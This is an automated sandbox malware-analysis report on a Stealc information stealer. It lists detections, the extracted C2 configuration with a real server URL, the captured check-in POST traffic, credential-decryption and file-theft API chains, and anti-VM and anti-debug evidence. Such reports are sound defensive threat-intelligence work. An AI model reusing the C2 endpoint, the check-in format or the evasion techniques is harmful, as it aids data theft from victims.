Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1542683
MD5:	23f03176ddc56b4e531545aaf7394334
SHA1:	56dffc71067b0d3896a2fba82b320d8b7f18782e
SHA256:	da968f12344c3ccfdfa40421c3688c1761a2ff5054b353582022016e0a05fbe4
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse usering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 3184 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 23F03176DDC56B4E531545AAF7394334)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/e2b1563c6670f193.php", "Botnet": "puma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2175832040.0000000000BB8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2135381078.0000000004FA0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 3184	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 3184	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.e90000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-26T07:11:01.630432+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49709	185.215.113.206	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Found malware configuration

Source: 0.2.file.exe.e90000.0.unpack

Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/e2b1563c6670f193.php", "Botnet": "puma"}

Multi AV Scanner detection for submitted file

Source: file.exe

Virustotal: Detection: 44%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E9C820 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_00E9C820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E99AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00E99AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E97240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00E97240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E99B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00E99B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EA8EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00EA8EA0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EA38B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00EA38B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EA4910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00EA4910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E9DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00E9DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E9E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00E9E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EA4570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00EA4570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E9ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00E9ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E916D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00E916D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EA3EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00EA3EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E9F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00E9F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E9BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_00E9BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E9DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00E9DE10

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49709 -> 185.215.113.206:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://185.215.113.206/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGHJECAFIDAFHJKFCGHIHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 48 4a 45 43 41 46 49 44 41 46 48 4a 4b 46 43 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 38 45 38 41 41 38 34 45 41 35 42 33 34 30 37 37 39 30 35 39 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 4a 45 43 41 46 49 44 41 46 48 4a 4b 46 43 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 70 75 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 4a 45 43 41 46 49 44 41 46 48 4a 4b 46 43 47 48 49 2d 2d 0d 0a Data Ascii: ------DGHJECAFIDAFHJKFCGHIContent-Disposition: form-data; name="hwid"C8E8AA84EA5B340779059------DGHJECAFIDAFHJKFCGHIContent-Disposition: form-data; name="build"puma------DGHJECAFIDAFHJKFCGHI--

Source: Joe Sandbox View

IP Address: 185.215.113.206 185.215.113.206

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00E94880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlen,lstrlen,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_00E94880

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGHJECAFIDAFHJKFCGHIHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 48 4a 45 43 41 46 49 44 41 46 48 4a 4b 46 43 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 38 45 38 41 41 38 34 45 41 35 42 33 34 30 37 37 39 30 35 39 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 4a 45 43 41 46 49 44 41 46 48 4a 4b 46 43 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 70 75 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 4a 45 43 41 46 49 44 41 46 48 4a 4b 46 43 47 48 49 2d 2d 0d 0a Data Ascii: ------DGHJECAFIDAFHJKFCGHIContent-Disposition: form-data; name="hwid"C8E8AA84EA5B340779059------DGHJECAFIDAFHJKFCGHIContent-Disposition: form-data; name="build"puma------DGHJECAFIDAFHJKFCGHI--

Source: file.exe, 00000000.00000002.2175832040.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2175832040.0000000000BF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2175832040.0000000000BF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/3
Source: file.exe, 00000000.00000002.2175832040.0000000000BF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/M
Source: file.exe, 00000000.00000002.2175832040.0000000000BF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.2175832040.0000000000BB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.php-
Source: file.exe, 00000000.00000002.2175832040.0000000000BF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.php/D
Source: file.exe, 00000000.00000002.2175832040.0000000000BF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.php4
Source: file.exe, 00000000.00000002.2175832040.0000000000BF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.phpT
Source: file.exe, 00000000.00000002.2175832040.0000000000BF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.phpl
Source: file.exe, 00000000.00000002.2175832040.0000000000BB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.phpt
Source: file.exe, 00000000.00000002.2175832040.0000000000BF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/ws

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01251139	0_2_01251139
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0125990A	0_2_0125990A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01263912	0_2_01263912
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0125E826	0_2_0125E826
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0125488C	0_2_0125488C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0113032F	0_2_0113032F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0119BB7F	0_2_0119BB7F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012563BA	0_2_012563BA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0125B3D7	0_2_0125B3D7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0124DA86	0_2_0124DA86
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0124F5ED	0_2_0124F5ED
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01252C3F	0_2_01252C3F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0124BF92	0_2_0124BF92
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01163E11	0_2_01163E11
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011E2E08	0_2_011E2E08
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0125CE4F	0_2_0125CE4F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01257EBF	0_2_01257EBF

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 00E945C0 appears 316 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: nnbmymfp ZLIB complexity 0.9949252187786609

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00EA8680 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

0_2_00EA8680

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00EA3720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00EA3720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\A37PY4PZ.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

Virustotal: Detection: 44%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 1830912 > 1048576

Source: file.exe

Static PE information: Raw size of nnbmymfp is bigger than: 0x100000 < 0x198e00

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.e90000.0.unpack :EW;.rsrc :W;.idata :W; :EW;nnbmymfp:EW;onazwdcw:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;nnbmymfp:EW;onazwdcw:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00EA9860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00EA9860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1bf258 should be: 0x1c46fa

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: nnbmymfp
Source: file.exe	Static PE information: section name: onazwdcw
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01251139 push ebp; mov dword ptr [esp], ecx	0_2_01251280
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01251139 push 57FEE43Ah; mov dword ptr [esp], eax	0_2_012512D8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01251139 push 4B699A9Bh; mov dword ptr [esp], edx	0_2_0125131F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01251139 push 7E3607DAh; mov dword ptr [esp], esp	0_2_01251358
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01251139 push 287BDF53h; mov dword ptr [esp], edx	0_2_01251396
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01251139 push 233C371Fh; mov dword ptr [esp], edi	0_2_0125144D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01251139 push eax; mov dword ptr [esp], esp	0_2_01251451
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01251139 push ecx; mov dword ptr [esp], eax	0_2_012514C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01251139 push 76815C61h; mov dword ptr [esp], edx	0_2_012514D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01251139 push ecx; mov dword ptr [esp], eax	0_2_012514FE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01251139 push edi; mov dword ptr [esp], 4FDC77ABh	0_2_01251507
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01251139 push ebp; mov dword ptr [esp], ebx	0_2_01251526
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01251139 push 27ECCF0Fh; mov dword ptr [esp], eax	0_2_0125156D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01251139 push ecx; mov dword ptr [esp], esp	0_2_012515E9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01251139 push 13B908A4h; mov dword ptr [esp], eax	0_2_01251611
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01251139 push eax; mov dword ptr [esp], edx	0_2_01251642
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01251139 push esi; mov dword ptr [esp], ecx	0_2_01251683
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01251139 push ebx; mov dword ptr [esp], eax	0_2_012516A3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01251139 push esi; mov dword ptr [esp], 73F53585h	0_2_012516B6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01251139 push edx; mov dword ptr [esp], 27171827h	0_2_012517CE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01251139 push 1B89CF73h; mov dword ptr [esp], edi	0_2_01251806
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01251139 push edx; mov dword ptr [esp], edi	0_2_01251840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01251139 push esi; mov dword ptr [esp], 751F2530h	0_2_01251844
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01251139 push ecx; mov dword ptr [esp], 77C7069Bh	0_2_01251944
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01251139 push ebx; mov dword ptr [esp], ecx	0_2_012519C4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01251139 push edx; mov dword ptr [esp], edi	0_2_01251A3F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01251139 push esi; mov dword ptr [esp], edx	0_2_01251AB3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01251139 push 6C1E87B1h; mov dword ptr [esp], eax	0_2_01251ACD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01251139 push ebp; mov dword ptr [esp], edx	0_2_01251BF1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01251139 push edx; mov dword ptr [esp], ebp	0_2_01251C2A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01251139 push esi; mov dword ptr [esp], edi	0_2_01251C8C

Source: file.exe

Static PE information: section name: nnbmymfp entropy: 7.953989385913713

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00EA9860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13601

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F2342 second address: 10F2346 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F2346 second address: 10F234C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F234C second address: 10F2350 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1263430 second address: 1263436 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1267854 second address: 126785A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126785A second address: 126787B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F849C4F2DA4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jbe 00007F849C4F2D96h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126787B second address: 1267881 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1267E8B second address: 1267E9C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push edx 0x0000000a pop edx 0x0000000b pushad 0x0000000c popad 0x0000000d pop ebx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1267E9C second address: 1267EEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F849CDA4206h 0x00000009 jmp 00007F849CDA4204h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F849CDA4202h 0x00000019 jns 00007F849CDA41F8h 0x0000001f rdtsc
